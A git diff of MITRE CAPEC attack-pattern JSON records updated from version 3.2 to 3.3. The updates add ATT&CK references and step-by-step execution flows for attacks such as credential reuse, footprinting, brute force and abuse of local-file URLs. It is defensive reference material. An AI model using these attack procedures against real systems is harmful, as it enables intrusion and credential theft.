b/capec/attack-pattern/attack-pattern--828be1c0-0437-40de-ae41-05e75c8b522c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3725df9e-2e32-4125-9576-fdfe038d10eb", + "id": "bundle--048cb3a1-1788-4192-8747-5bfba540d8c8", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--82c8819d-01ad-4e23-a715-f92f2333c009.json b/capec/attack-pattern/attack-pattern--82c8819d-01ad-4e23-a715-f92f2333c009.json index 4a499c9ae1..e551fc1211 100644 --- a/capec/attack-pattern/attack-pattern--82c8819d-01ad-4e23-a715-f92f2333c009.json +++ b/capec/attack-pattern/attack-pattern--82c8819d-01ad-4e23-a715-f92f2333c009.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--96133957-f164-403e-b3b4-3c41a77729bc", + "id": "bundle--f3360a58-6bc8-432a-a6fd-99eb4601a75f", "spec_version": "2.0", "objects": [ { @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/494.html", "external_id": "CWE-494" + }, + { + "source_name": "ATTACK", + "description": "Application Deployment Software", + "url": "https://attack.mitre.org/wiki/Technique/T1017", + "external_id": "T1017" } ], "object_marking_refs": [ @@ -29,7 +35,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--83c7d2ff-f74e-471b-bd10-28421e818719.json b/capec/attack-pattern/attack-pattern--83c7d2ff-f74e-471b-bd10-28421e818719.json index 508cff65f3..838c5b1afc 100644 --- a/capec/attack-pattern/attack-pattern--83c7d2ff-f74e-471b-bd10-28421e818719.json +++ b/capec/attack-pattern/attack-pattern--83c7d2ff-f74e-471b-bd10-28421e818719.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e0a9e6af-b41e-4703-84de-5ad8c78c5162", + "id": "bundle--b1da9d7f-48d5-4a1b-8a4a-fb027891e17b", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--83c7d2ff-f74e-471b-bd10-28421e818719", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Malicious Manual Software Update", - "description": "An attacker introduces malicious code to the victim's system by altering the payload of a software update, allowing for additional compromise or site disruption at the victim location. These manual, or user-assisted attacks, vary from requiring the user to download and run an executable, to as streamlined as tricking the user to click a URL. Attacks which aim at penetrating a specific network infrastructure often rely upon secondary attack methods to achieve the desired impact. Spamming, for example, is a common method employed as an secondary attack vector. Thus the attacker has in his or her arsenal a choice of initial attack vectors ranging from traditional SMTP/POP/IMAP spamming and its varieties, to web-application mechanisms which commonly implement both chat and rich HTML messaging within the user interface.", + "description": "An attacker introduces malicious code to the victim's system by altering the payload of a software update, allowing for additional compromise or site disruption at the victim location. These manual, or user-assisted attacks, vary from requiring the user to download and run an executable, to as streamlined as tricking the user to click a URL. Attacks which aim at penetrating a specific network infrastructure often rely upon secondary attack methods to achieve the desired impact. Spamming, for example, is a common method employed as an secondary attack vector. Thus the attacker has in their arsenal a choice of initial attack vectors ranging from traditional SMTP/POP/IMAP spamming and its varieties, to web-application mechanisms which commonly implement both chat and rich HTML messaging within the user interface.", "external_references": [ { "source_name": "capec", @@ -37,7 +37,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456.json b/capec/attack-pattern/attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456.json index 951e5694fb..36e33ba03b 100644 --- a/capec/attack-pattern/attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456.json +++ b/capec/attack-pattern/attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--143ae668-8511-46c5-ba62-f0fab0d35e36", + "id": "bundle--6860b527-4262-405e-82ba-6782fb508873", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--83fc5df7-bb04-4ce7-b308-c9428e8f4456", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Passing Local Filenames to Functions That Expect a URL", "description": "This attack relies on client side code to access local files and resources instead of URLs. When the client browser is expecting a URL string, but instead receives a request for a local file, that execution is likely to occur in the browser process space with the browser's authority to local files. The attacker can send the results of this request to the local files out to a site that they control. This attack may be used to steal sensitive authentication data (either local or remote), or to gain system profile information to launch further attacks.", "external_references": [ @@ -54,6 +54,7 @@ "x_capec_example_instances": [ "\n J2EE applications frequently use .properties files to store configuration information including JDBC connections, LDAP connection strings, proxy information, system passwords and other system metadata that is valuable to attackers looking to probe the system or bypass policy enforcement points. When these files are stored in publicly accessible directories and are allowed to be read by the public user, then an attacker can list the directory identify a .properties file and simply load its contents in the browser listing its contents. A standard Hibernate properties file contains\n hibernate.connection.driver_class = org.postgresql.Driverhibernate.connection.url = jdbc:postgresql://localhost/mydatabasehibernate.connection.username = usernamehibernate.connection.password = passwordhibernate.c3p0.min_size=5hibernate.c3p0.max_size=20\n Even if the attacker cannot write this file, there is plenty of information to leverage to gain further access.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify web application URL inputs: Review application inputs to find those that are designed to be URLs.

    2. Techniques
    Manually navigate web site pages to identify URLs.
    Use automated tools to identify URLs.

Experiment

  1. Identify URL inputs allowing local access.: Execute test local commands via each URL input to determine which are successful.

    2. Techniques
    Manually execute a local command (such as 'pwd') via the URL inputs.
    Using an automated tool, test each URL input for weakness.

Exploit

  1. Execute malicious commands: Using the identified URL inputs that allow local command execution, execute malicious commands.

    2. Techniques
    Execute local commands via the URL input.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The victim's software must not differentiate between the location and type of reference passed the client software, e.g. browser" @@ -63,7 +64,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8428f01f-d4ca-4fb0-866d-8d5716b36265.json b/capec/attack-pattern/attack-pattern--8428f01f-d4ca-4fb0-866d-8d5716b36265.json index 5651d8a757..12fea0ab26 100644 --- a/capec/attack-pattern/attack-pattern--8428f01f-d4ca-4fb0-866d-8d5716b36265.json +++ b/capec/attack-pattern/attack-pattern--8428f01f-d4ca-4fb0-866d-8d5716b36265.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--77364c48-6fa3-43d3-bef0-45867dc94a33", + "id": "bundle--71c3716f-5376-4a91-be31-e211261c0006", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--861cfb48-ba7c-4568-86c9-43ac6985ac65.json b/capec/attack-pattern/attack-pattern--861cfb48-ba7c-4568-86c9-43ac6985ac65.json index 8acbacb83e..22f79eb835 100644 --- a/capec/attack-pattern/attack-pattern--861cfb48-ba7c-4568-86c9-43ac6985ac65.json +++ b/capec/attack-pattern/attack-pattern--861cfb48-ba7c-4568-86c9-43ac6985ac65.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c289e6f2-2e44-465f-8f03-195eac7dbbb2", + "id": "bundle--d7a588a6-086e-41a0-91a5-008acb977a76", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ "A tool that is capable of viewing network traffic and generating custom inputs to be used in the attack." ], "x_capec_status": "Stable", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--862d18f1-a87c-4f1b-acc2-882697d5d6e5.json b/capec/attack-pattern/attack-pattern--862d18f1-a87c-4f1b-acc2-882697d5d6e5.json index 668b439584..4736afcb00 100644 --- a/capec/attack-pattern/attack-pattern--862d18f1-a87c-4f1b-acc2-882697d5d6e5.json +++ b/capec/attack-pattern/attack-pattern--862d18f1-a87c-4f1b-acc2-882697d5d6e5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--53c7c33d-4f5d-47b2-a1e4-70d15f158ce6", + "id": "bundle--930c48a5-635b-4256-9068-99a8f434ff8a", "spec_version": "2.0", "objects": [ { @@ -42,7 +42,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--86a5e931-7f53-46fe-b6f0-c88498f6557f.json b/capec/attack-pattern/attack-pattern--86a5e931-7f53-46fe-b6f0-c88498f6557f.json index e3ec3d3bfb..cda5804f67 100644 --- a/capec/attack-pattern/attack-pattern--86a5e931-7f53-46fe-b6f0-c88498f6557f.json +++ b/capec/attack-pattern/attack-pattern--86a5e931-7f53-46fe-b6f0-c88498f6557f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b6031f4a-062e-4264-93f6-e3897aab1298", + "id": "bundle--e41828c9-4c46-48f8-800c-11ce99413a72", "spec_version": "2.0", "objects": [ { @@ -50,6 +50,7 @@ "x_capec_example_instances": [ "In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the key space to cover. The ciphertext was decrypted in 96 days." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine the ciphertext and the encryption algorithm.

Experiment

  1. Perform an exhaustive brute force search of the key space, producing candidate plaintexts and observing if they make sense.

", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "Ciphertext is known.", @@ -63,7 +64,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--86daf34c-5e2b-49d7-b579-cfde98c462ac.json b/capec/attack-pattern/attack-pattern--86daf34c-5e2b-49d7-b579-cfde98c462ac.json index a4b7358a55..2e967d8721 100644 --- a/capec/attack-pattern/attack-pattern--86daf34c-5e2b-49d7-b579-cfde98c462ac.json +++ b/capec/attack-pattern/attack-pattern--86daf34c-5e2b-49d7-b579-cfde98c462ac.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4213cc61-886e-4df5-a461-599780830bed", + "id": "bundle--33516da0-20cf-4e68-bbca-ee09b1a49fb0", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8711eca6-b3ad-40b7-b7ac-08be37885119.json b/capec/attack-pattern/attack-pattern--8711eca6-b3ad-40b7-b7ac-08be37885119.json index a563f40cc7..384dce5e82 100644 --- a/capec/attack-pattern/attack-pattern--8711eca6-b3ad-40b7-b7ac-08be37885119.json +++ b/capec/attack-pattern/attack-pattern--8711eca6-b3ad-40b7-b7ac-08be37885119.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d391f81f-fa91-4921-abcc-dd4c01f3912f", + "id": "bundle--d544420a-c52d-4032-a60e-f7948f515790", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8756a1d3-9ffc-497f-a6c3-28325a891951.json b/capec/attack-pattern/attack-pattern--8756a1d3-9ffc-497f-a6c3-28325a891951.json index c9a928e150..71338674fc 100644 --- a/capec/attack-pattern/attack-pattern--8756a1d3-9ffc-497f-a6c3-28325a891951.json +++ b/capec/attack-pattern/attack-pattern--8756a1d3-9ffc-497f-a6c3-28325a891951.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--42653b19-5079-4658-8285-d51b0cd7bc2f", + "id": "bundle--912f7fa7-3be8-4a53-87e4-60cdafcbac14", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--8756a1d3-9ffc-497f-a6c3-28325a891951", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Reverse Engineer an Executable to Expose Assumed Hidden Functionality", "description": "An attacker analyzes a binary file or executable for the purpose of discovering the structure, function, and possibly source-code of the file by using a variety of analysis techniques to effectively determine how the software functions and operates. This type of analysis is also referred to as Reverse Code Engineering, as techniques exist for extracting source code from an executable. Several techniques are often employed for this purpose, both black box and white box. The use of computer bus analyzers and packet sniffers allows the binary to be studied at a level of interactions with its computing environment, such as a host OS, inter-process communication, and/or network communication. This type of analysis falls into the 'black box' category because it involves behavioral analysis of the software without reference to source code, object code, or protocol specifications.", "external_references": [ @@ -50,7 +50,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--87829d14-eece-4fa3-b36f-54cc3b2262ae.json b/capec/attack-pattern/attack-pattern--87829d14-eece-4fa3-b36f-54cc3b2262ae.json index 0840a79c21..a717fcd541 100644 --- a/capec/attack-pattern/attack-pattern--87829d14-eece-4fa3-b36f-54cc3b2262ae.json +++ b/capec/attack-pattern/attack-pattern--87829d14-eece-4fa3-b36f-54cc3b2262ae.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--671fcc7b-8532-471d-8229-26eaba5a5412", + "id": "bundle--7a33500d-2ca6-4f27-abb0-9be9a55439f7", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--87b0d2df-b246-4bf9-aee8-4912e2fa1a30.json b/capec/attack-pattern/attack-pattern--87b0d2df-b246-4bf9-aee8-4912e2fa1a30.json index 42c9c41af9..0ed01b4d14 100644 --- a/capec/attack-pattern/attack-pattern--87b0d2df-b246-4bf9-aee8-4912e2fa1a30.json +++ b/capec/attack-pattern/attack-pattern--87b0d2df-b246-4bf9-aee8-4912e2fa1a30.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b4f5a2ce-7642-4d26-a9bb-080117335522", + "id": "bundle--cef125d6-783c-401b-98dc-ae662610421f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--87b0d2df-b246-4bf9-aee8-4912e2fa1a30", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Footprinting", "description": "An adversary engages in probing and exploration activities to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.", "external_references": [ @@ -22,6 +22,12 @@ "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" }, + { + "source_name": "ATTACK", + "description": "Browser Bookmark Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1217", + "external_id": "T1217" + }, { "source_name": "reference_from_CAPEC", "description": "Manic Velocity, Footprinting And The Basics Of Hacking, Web Textfiles", @@ -57,6 +63,7 @@ "x_capec_example_instances": [ "In this example let us look at the website http://www.example.com to get much information we can about Alice. From the website, we find that Alice also runs foobar.org. We type in www example.com into the prompt of the Name Lookup window in a tool, and our result is this IP address: 192.173.28.130 We type the domain into the Name Lookup prompt and we are given the same IP. We can safely say that example and foobar.org are hosted on the same box. But if we were to do a reverse name lookup on the IP, which domain will come up? www.example.com or foobar.org? Neither, the result is nijasvspirates.org. So nijasvspirates.org is the name of the box hosting 31337squirrel.org and foobar.org. So now that we have the IP, let's check to see if nijasvspirates is awake. We type the IP into the prompt in the Ping window. We'll set the interval between packets to 1 millisecond. We'll set the number of seconds to wait until a ping times out to 5. We'll set the ping size to 500 bytes and we'll send ten pings. Ten packets sent and ten packets received. nijasvspirates.org returned a message to my computer within an average of 0.35 seconds for every packet sent. nijasvspirates is alive. We open the Whois window and type nijasvspirates.org into the Query prompt, and whois.networksolutions.com into the Server prompt. This means we'll be asking Network Solutions to tell us everything they know about nijasvspirates.org. The result is this laundry list of info: Registrant: FooBar (nijasvspirates -DOM) p.o.box 11111 SLC, UT 84151 US Domain Name: nijasvspirates.ORG Administrative Contact, Billing Contact: Smith, John jsmith@anonymous.net FooBar p.o.box 11111 SLC, UT 84151 555-555-6103 Technical Contact: Johnson, Ken kj@fierymonkey.org fierymonkey p.o.box 11111 SLC, UT 84151 555-555-3849 Record last updated on 17-Aug-2001. Record expires on 11-Aug-2002. Record created on 11-Aug-2000. Database last updated on 12-Dec-2001 04:06:00 EST. Domain servers in listed order: NS1. fierymonkey.ORG 192.173.28.130 NS2. fierymonkey.ORG 64.192.168.80 A corner stone of footprinting is Port Scanning. Let's port scan nijasvspirates.org and see what kind of services are running on that box. We type in the nijasvspirates IP into the Host prompt of the Port Scan window. We'll start searching from port number 1, and we'll stop at the default Sub7 port, 27374. Our results are: 21 TCP ftp 22 TCP ssh SSH-1.99-OpenSSH_2.30 25 TCP smtp 53 TCP domain 80 TCP www 110 TCP pop3 111 TCP sunrpc 113 TCP ident Just by this we know that Alice is running a website and email, using POP3, SUNRPC (SUN Remote Procedure Call), and ident." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Request Footprinting: The attacker examines the website information and source code of the website and uses automated tools to get as much information as possible about the system and organization.

    2. Techniques
    Open Source Footprinting: Examine the website about the organization and skim through the webpage's HTML source to look for comments.
    Network Enumeration: Perform various queries (Registrar Query, Organizational Query, Domain Query, Network Query, POC Query) on the many whois databases found on the internet to identify domain names and associated networks.
    DNS Interrogation: Once basic information is gathered the attack could begin to query DNS.
    Other Techniques: Use ping sweep, TCP scan, UDP scan, OS Identification various techniques to gain more information about the system and network.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "An application must publicize identifiable information about the system or application through voluntary or involuntary means. Certain identification details of information systems are visible on communication networks (e.g., if an adversary uses a sniffer to inspect the traffic) due to their inherent structure and protocol standards. Any system or network that can be detected can be footprinted. However, some configuration choices may limit the useful information that can be collected during a footprinting attack." @@ -69,7 +76,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Very Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7.json b/capec/attack-pattern/attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7.json index a5456866f3..d6dbdee6d6 100644 --- a/capec/attack-pattern/attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7.json +++ b/capec/attack-pattern/attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d7c22b13-5054-418f-becc-cb3ab2c98740", + "id": "bundle--1f707323-5ba5-4b9b-8416-a88473575012", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Use of Known Domain Credentials", - "description": "An adversary uses stolen credentials (e.g., userid and password) to access systems managed under the same credential framework on a local network. Often, users are allowed to login to connected machines using the same password. Discovery of the password on one machine allows for lateral movement to those machines.", + "description": "\n An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service. Attacks leveraging trusted credentials typically result in the adversary laterally moving within the local network, since users are often allowed to login to systems/applications within the network using the same password. This further allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more.\n Attacks on known passwords generally rely on the primary fact that users often reuse the same username/password combination for a variety of systems, applications, and services, coupled with poor password policies on the target system or application. Adversaries can also utilize known passwords to target Single Sign On (SSO) or cloud-based applications and services, which often don't verify the authenticity of the user's input. Known credentials are usually obtained by an adversary via a system/application breach and/or by purchasing dumps of credentials on the dark web. These credentials may be further gleaned via exposed configuration and properties files that contain system passwords, database connection strings, and other sensitive data.\n Successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.\n ", "external_references": [ { "source_name": "capec", @@ -21,14 +21,135 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1273.html", + "external_id": "CWE-1273" + }, + { + "source_name": "ATTACK", + "description": "Valid Accounts:Default Accounts", + "url": "https://attack.mitre.org/wiki/Technique/T1078/001", + "external_id": "T1078.001" + }, + { + "source_name": "ATTACK", + "description": "Valid Accounts:Domain Accounts", + "url": "https://attack.mitre.org/wiki/Technique/T1078/002", + "external_id": "T1078.002" + }, + { + "source_name": "ATTACK", + "description": "Valid Accounts:Local Accounts", + "url": "https://attack.mitre.org/wiki/Technique/T1078/003", + "external_id": "T1078.003" + }, + { + "source_name": "ATTACK", + "description": "Trusted Relationship", + "url": "https://attack.mitre.org/wiki/Technique/T1199", + "external_id": "T1199" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Attractive Accounts for Credential Theft, 2017--05---31, Microsoft Corporation", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/attractive-accounts-for-credential-theft?redirectedfrom=MSDN", + "external_id": "REF-570" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Feike Hacquebord, Two Years of Pawn Storm: Examining an Increasingly Relevant Threat, 2017--04---25, Trend Micro", + "url": "https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf", + "external_id": "REF-571" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Corporate IoT \u2013 a path to intrusion, 2019--10---05, Microsoft Security Response Center (MSRC)", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion", + "external_id": "REF-572" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Brendan McKeague, Van Ta, Ben Fedore, Geoff Ackerman, Alex Pennino, Andrew Thompson, Douglas Bienstock, Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware, 2019--04---05, Microsoft Security Response Center (MSRC)", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", + "external_id": "REF-573" } ], "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "x_capec_abstraction": "Standard", - "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_abstraction": "Meta", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_example_instances": [ + "Throughout 2015 and 2016, APT28 \u2014 also known as Pawn Storm, Sednit, Fancy Bear, Sofacy, and STRONTIUM \u2014 leveraged stolen credentials to infiltrate the Democratic National Committee (DNC), the United States Army, the World Anti-Doping Agency (WADA), the Court of Arbitration for Sport (TAS-CAS), and more. In most cases, the legitimate credentials were obtained via calculated spearphishing, tabnabbing, and DNS attacks targeted at corporate webmail systems. APT28 also executed several watering hole attacks, in addition to exploiting several zero-day vulnerabilities within Flash and Windows. The stolen credentials were then utilized to maintain authenticated access, laterally move within the local network, and exfiltrate sensitive information including DNC emails and personal medical records of numerous athletes. [REF-571]", + "In early 2019, FIN6 exploited stolen credentials from an organization within the engineering industry to laterally move within an environment via the Windows\u2019 Remote Desktop Protocol (RDP). Multiple servers were subsequently infected with malware to create malware distribution servers, which were used to distribute the LockerGoga ransomware. [REF-573]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known credentials: The adversary must obtain known credentials in order to access the target system, application, or service.

    2. Techniques
    An adversary purchases breached username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal credentials as they are transmitted.
    An adversary gains access to a database and exfiltrates password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.

  2. Determine target's password policy: Determine the password policies of the target system/application to determine if the known credentials fit within the specified criteria.

    3. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks if multiple passwords are known for a single user account).

Experiment

  1. Attempt authentication: Try each credential until the target grants access.

    2. Techniques
    Manually or automatically enter each credential through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within a system or application

  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.

", + "x_capec_likelihood_of_attack": "High", + "x_capec_prerequisites": [ + "The system/application uses one factor password based authentication, SSO, and/or cloud-based authentication.", + "The system/application does not have a sound password policy that is being enforced.", + "The system/application does not implement an effective password throttling mechanism.", + "The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target." + ], + "x_capec_resources_required": [ + "A list of known credentials.", + "A custom script that leverages the credential list to launch an attack." + ], + "x_capec_skills_required": { + "Low": "Once an adversary obtains a known credential, leveraging it is trivial." + }, + "x_capec_status": "Stable", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--88933ba2-fe2a-4b71-ac08-2537c5903b2e.json b/capec/attack-pattern/attack-pattern--88933ba2-fe2a-4b71-ac08-2537c5903b2e.json index e8e07a27bd..ede04aa75f 100644 --- a/capec/attack-pattern/attack-pattern--88933ba2-fe2a-4b71-ac08-2537c5903b2e.json +++ b/capec/attack-pattern/attack-pattern--88933ba2-fe2a-4b71-ac08-2537c5903b2e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3aed09b3-252d-4b64-a689-b54c9ea7d5b3", + "id": "bundle--a9007037-56c4-4bd6-935b-171d635c192c", "spec_version": "2.0", "objects": [ { @@ -45,7 +45,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8955d689-4c90-4c72-86d8-aa843f4cefca.json b/capec/attack-pattern/attack-pattern--8955d689-4c90-4c72-86d8-aa843f4cefca.json index dfc99662f1..353d33873c 100644 --- a/capec/attack-pattern/attack-pattern--8955d689-4c90-4c72-86d8-aa843f4cefca.json +++ b/capec/attack-pattern/attack-pattern--8955d689-4c90-4c72-86d8-aa843f4cefca.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9c06a8ed-2e7d-4d80-b4dd-68fe24b0ae77", + "id": "bundle--28a033c7-973b-4300-aed8-eb4c666dd6fe", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--89697649-1004-4130-a9dd-72182e4c6206.json b/capec/attack-pattern/attack-pattern--89697649-1004-4130-a9dd-72182e4c6206.json index 